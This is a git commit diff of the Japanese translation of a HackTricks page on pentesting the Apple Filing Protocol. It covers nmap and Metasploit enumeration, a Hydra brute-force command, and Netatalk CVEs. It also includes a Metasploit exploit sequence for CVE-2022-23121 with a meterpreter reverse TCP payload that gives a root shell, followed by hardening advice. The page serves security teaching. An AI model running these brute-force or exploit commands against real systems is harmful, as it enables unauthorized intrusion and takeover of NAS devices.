mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
Translated ['src/network-services-pentesting/584-pentesting-afp.md'] to
This commit is contained in:
parent
31a0ea14ff
commit
c7504a8377
@ -4,27 +4,109 @@
|
|||||||
|
|
||||||
## 基本情報
|
## 基本情報
|
||||||
|
|
||||||
**Apple Filing Protocol** (**AFP**)は、かつてAppleTalk Filing Protocolとして知られていた、**Apple File Service** (**AFS**)に含まれる専門的なネットワークプロトコルです。これは、macOSおよび古典的なMac OSのためのファイルサービスを提供するように設計されています。AFPは、Unicodeファイル名、POSIXおよびアクセス制御リストの権限、リソースフォーク、名前付き拡張属性、そして高度なファイルロックメカニズムをサポートしている点で際立っています。これは、Mac OS 9およびそれ以前のバージョンにおけるファイルサービスの主要なプロトコルでした。
|
**Apple Filing Protocol** (**AFP**)は、かつてAppleTalk Filing Protocolとして知られていた、**Apple File Service** (**AFS**)に含まれる専門的なネットワークプロトコルです。macOSおよび古典的なMac OSのためのファイルサービスを提供するように設計されています。AFPは、Unicodeファイル名、POSIXスタイルおよびACL権限、リソースフォーク、名前付き拡張属性、洗練されたファイルロックメカニズムをサポートしている点で際立っています。
|
||||||
|
|
||||||
**デフォルトポート:** 548
|
AFPは、現代のmacOSリリースではSMBに取って代わられています(OS X 10.9以降はSMBがデフォルト)。それでも、以下の環境で遭遇することがあります:
|
||||||
|
|
||||||
|
* レガシーmacOS / Mac OS 9環境
|
||||||
|
* オープンソースの**Netatalk**デーモンを組み込んだNASアプライアンス(QNAP、Synology、Western Digital、TrueNAS…)
|
||||||
|
* Time-Machine-over-AFPがまだ有効な混合OSネットワーク
|
||||||
|
|
||||||
|
**デフォルトTCPポート:** **548**(TCP上のAFP / DSI)
|
||||||
```bash
|
```bash
|
||||||
PORT STATE SERVICE
|
PORT STATE SERVICE
|
||||||
548/tcp open afp
|
548/tcp open afp
|
||||||
```
|
```
|
||||||
### **列挙**
|
---
|
||||||
|
|
||||||
AFPサービスの列挙には、以下のコマンドとスクリプトが役立ちます:
|
## 列挙
|
||||||
|
|
||||||
|
### クイックバナー / サーバー情報
|
||||||
```bash
|
```bash
|
||||||
msf> use auxiliary/scanner/afp/afp_server_info
|
# Metasploit auxiliary
|
||||||
nmap -sV --script "afp-* and not dos and not brute" -p <PORT> <IP>
|
use auxiliary/scanner/afp/afp_server_info
|
||||||
|
run RHOSTS=<IP>
|
||||||
|
|
||||||
|
# Nmap NSE
|
||||||
|
nmap -p 548 -sV --script "afp-* and not dos" <IP>
|
||||||
```
|
```
|
||||||
**スクリプトとその説明:**
|
有用なAFP NSEスクリプト:
|
||||||
|
|
||||||
- **afp-ls**: このスクリプトは、利用可能なAFPボリュームとファイルをリストするために使用されます。
|
| スクリプト | 何をするか |
|
||||||
- **afp-path-vuln**: すべてのAFPボリュームとファイルをリストし、潜在的な脆弱性を強調表示します。
|
|--------|--------------|
|
||||||
- **afp-serverinfo**: AFPサーバーに関する詳細情報を提供します。
|
| **afp-ls** | 利用可能なAFPボリュームとファイルをリスト表示 |
|
||||||
- **afp-showmount**: 利用可能なAFP共有とそれぞれのACLをリストします。
|
| **afp-brute** | AFPログインに対するパスワードブルートフォース |
|
||||||
|
| **afp-serverinfo** | サーバー名、マシンタイプ、AFPバージョン、サポートされているUAMなどをダンプ |
|
||||||
|
| **afp-showmount** | 共有とそのACLを一緒にリスト表示 |
|
||||||
|
| **afp-path-vuln** | ディレクトリトラバーサル、CVE-2010-0533を検出(および悪用可能) |
|
||||||
|
|
||||||
### [**ブルートフォース**](../generic-hacking/brute-force.md#afp)
|
NSEブルートフォーススクリプトは、より多くの制御が必要な場合、Hydra/Medusaと組み合わせることができます:
|
||||||
|
```bash
|
||||||
|
hydra -L users.txt -P passwords.txt afp://<IP>
|
||||||
|
```
|
||||||
|
### シェアとの対話
|
||||||
|
|
||||||
|
*macOS*
|
||||||
|
```bash
|
||||||
|
# Finder → Go → "Connect to Server…"
|
||||||
|
# or from terminal
|
||||||
|
mkdir /Volumes/afp
|
||||||
|
mount_afp afp://USER:[email protected]/SHARE /Volumes/afp
|
||||||
|
```
|
||||||
|
*Linux* (using `afpfs-ng` ‑ ほとんどのディストリビューションにパッケージされています)
|
||||||
|
```bash
|
||||||
|
apt install afpfs-ng
|
||||||
|
mkdir /mnt/afp
|
||||||
|
mount_afp afp://USER:[email protected]/SHARE /mnt/afp
|
||||||
|
# or interactive client
|
||||||
|
afp_client <IP>
|
||||||
|
```
|
||||||
|
マウントされたら、クラシックMacのリソースフォークは隠し`._*` AppleDoubleファイルとして保存されることを忘れないでください。これらはしばしばDFIRツールが見逃す興味深いメタデータを保持しています。
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## 一般的な脆弱性と悪用
|
||||||
|
|
||||||
|
### Netatalkの認証なしRCEチェーン(2022)
|
||||||
|
|
||||||
|
いくつかのNASベンダーは**Netatalk ≤3.1.12**を出荷しました。`parse_entries()`の境界チェックの欠如により、攻撃者は悪意のある**AppleDouble**ヘッダーを作成し、認証前に**リモートルート**を取得することができます(**CVSS 9.8 – CVE-2022-23121**)。Western-Digital PR4100を悪用するPoCを含むNCC Groupによる完全な詳細が利用可能です。
|
||||||
|
|
||||||
|
Metasploit (>= 6.3)は、DSI `WRITE`を介してペイロードを提供するモジュール`exploit/linux/netatalk/parse_entries`を出荷しています。
|
||||||
|
```bash
|
||||||
|
use exploit/linux/netatalk/parse_entries
|
||||||
|
set RHOSTS <IP>
|
||||||
|
set TARGET 0 # Automatic (Netatalk)
|
||||||
|
set PAYLOAD linux/x64/meterpreter_reverse_tcp
|
||||||
|
run
|
||||||
|
```
|
||||||
|
対象が影響を受けたQNAP/Synologyファームウェアを実行している場合、成功したエクスプロイトは**root**としてシェルを提供します。
|
||||||
|
|
||||||
|
### Netatalk OpenSession ヒープオーバーフロー (2018)
|
||||||
|
|
||||||
|
古いNetatalk (3.0.0 - 3.1.11)は、**DSI OpenSession**ハンドラーにおけるバッファオーバーランの脆弱性があり、認証されていないコードの実行を可能にします (**CVE-2018-1160**)。詳細な分析とPoCはTenable Researchによって公開されました。
|
||||||
|
|
||||||
|
### その他の注目すべき問題
|
||||||
|
|
||||||
|
* **CVE-2022-22995** – AppleDouble v2が有効な場合に任意のファイル書き込み/RCEを引き起こすシンボリックリンクリダイレクション (3.1.0 - 3.1.17)。
|
||||||
|
* **CVE-2010-0533** – Apple Mac OS X 10.6 AFPにおけるディレクトリトラバーサル (検出は`afp-path-vuln.nse`による)。
|
||||||
|
* **Netatalk 4.x (2024)**では複数のメモリ安全性バグが修正されました – 個別のCVEをパッチするよりもアップグレードを推奨します。
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## 防御的推奨事項
|
||||||
|
|
||||||
|
1. **AFPを無効にする** – SMB3またはNFSを代わりに使用してください。
|
||||||
|
2. AFPを維持する必要がある場合は、**Netatalkを≥ 3.1.18または4.xにアップグレード**するか、2022/2023/2024のパッチをバックポートしたベンダーファームウェアを適用してください。
|
||||||
|
3. **強力なUAM**(例:*DHX2*)を強制し、クリアテキストおよびゲストログインを無効にします。
|
||||||
|
4. TCP 548を信頼できるサブネットに制限し、リモートで公開される場合はAFPをVPN内にラップします。
|
||||||
|
5. CI/CDで`nmap -p 548 --script afp-*`を定期的にスキャンして、悪意のある/ダウングレードされた機器を検出します。
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
### [Brute-Force](../generic-hacking/brute-force.md#afp)
|
||||||
|
|
||||||
|
## 参考文献
|
||||||
|
|
||||||
|
* Netatalkセキュリティアドバイザリー CVE-2022-23121 – "parse_entriesにおける任意のコード実行" <https://netatalk.io/security/CVE-2022-23121>
|
||||||
|
* Tenable Research – "18年前のバグを悪用する (CVE-2018-1160)" <https://medium.com/tenable-techblog/exploiting-an-18-year-old-bug-b47afe54172>
|
||||||
{{#include ../banners/hacktricks-training.md}}
|
{{#include ../banners/hacktricks-training.md}}
|
||||||
|
Loading…
x
Reference in New Issue
Block a user